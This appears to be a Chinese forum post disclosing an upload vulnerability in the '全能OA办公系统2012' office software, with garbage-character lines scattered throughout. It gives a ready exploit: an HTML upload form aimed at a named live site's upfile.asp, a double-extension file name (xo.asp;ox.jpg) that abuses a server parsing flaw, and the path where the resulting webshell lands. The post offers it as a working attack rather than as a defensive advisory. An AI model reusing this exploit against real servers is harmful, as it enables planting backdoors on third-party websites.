全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
7 P$ @8 b- U6 ]) f7 A- d) G​
6 `! h# p. y2 [8 C: e系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

2 Y& q1 K) A5 _* [" v6 Y主要功能：
) c; K! k2 D7 H7 Q& g6 f2 b" D  j公司通告
工作计划
. g+ B! ^# T0 d4 A& m  G通讯助理
5 E$ X" M5 l3 x; \, Z6 |  G* a客户资源
我的公文
' d8 G# f4 b: Y: X9 B5 ]( f$ v公文传阅
0 W! W& l% t4 u2 u- |9 i公共资源
! W5 v6 X$ [% l资源预约
* R6 g/ o" w! D6 B: V' ], W今日考勤
2 a- g2 T0 n' S4 v3 @3 l0 F个人计划
$ X  y6 O& B) Y3 V# k9 e) m0 _; e  Q个人通讯录
1 u' Q& x0 f. M个人基本档案
% [- r7 ]3 Q/ s; q! X未读邮件
发邮件
收件夹
寄件夹
网络硬盘
网络会议
网络调查
" M- G( k/ X3 K2 L9 _交流论坛

( U  Q0 s- F* j0 f* m有兴趣测试的朋友可以下源码看看

源码下载：

http://www.mycodes.net/30/4750.htm

漏洞介绍：

% i' n* A! d; U% I  }' y) h. ~由upfile.asp上传文件漏洞引起

测试方法：

2 ]8 @2 }/ Q* d# [使用名小子上传http://www.itlynn.com/upfile.asp即可
1 b" L* N/ Y0 ?% K% I0 t
. V8 ~3 T: v9 d( _. ~/ g- Q如果upfile.asp文件被删除不存在。
: k, @, J1 j# M4 O7 e1 _2 W9 T
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
8 R1 x: F- D/ l3 b# j5 c
/ R5 K9 `' z1 o* z' i如果存在那么将如下代码保存为upfile.html。

# D3 e' Z" `* @然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
5 f# l$ l; P1 a6 v0 K3 `7 M7 {
- ^% m% u  q) S0 ^. j

* Y( V! ?% ?4 }2 _/ H. c# c7 X01 <table border='0' align="center" cellpadding="5">
9 V" Y7 _8 \" q! M: E3 e
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

, l" z# L) s( d0 e03 <tr>
  c/ [  z' a, O4 j# T
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
, {  Q+ V: E  p4 C: y
06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
" Z$ R! }, I# |3 `" V: l
08               报错方式

09               <input type='radio' name='errnumber' value='2'>
' y7 U. a& s2 a. ~
2 k" i+ w6 W9 }# w* Q' `/ L. h10               直接覆盖</td>

11           </tr>

12           <tr>

13             <td>主题：</td>

( p' t) [4 f) k5 @14             <td><input type='text' name='filename' size='30'></td>

4 G, C; e- R9 y8 y3 C) F15           </tr>
# P7 H2 ?% P7 I8 O
1 s+ P3 @0 }7 m& |. Y, G5 v& u/ t16           <tr>

17             <td>文件：</td>
$ r, T* `5 ~3 t3 f. @
9 f0 X5 n2 o2 s( a* g) V  R18             <td><input type="file"name="fruit"size="30"></td>

  a5 s  k8 j* Q5 d: Y1 |19           </tr>
& J( L( |) e7 ~, t: x
1 ]: v$ j2 z, U7 v8 M20           <tr>

) X8 |! p6 K7 e" x; N21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
' J$ d2 \  I" C9 L: Y  ^8 Q4 g
8 C& C. \8 O+ v0 m* a1 [1 _  G24   
; H+ o$ h& `: K6 w( {$ a/ ?, @
0 [5 u$ a* w1 r25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
  L! |' H* ]* l; t9 z& _; p
26           </tr>
! c1 n+ `/ D" X$ H
27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
. W/ r4 o3 w! Z4 U

' E( F, h# [" Z# c% I$ S
' i- J5 E- p( _( ]上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

& n2 b0 N9 k* D' Y此漏洞需要配合解析漏洞利用。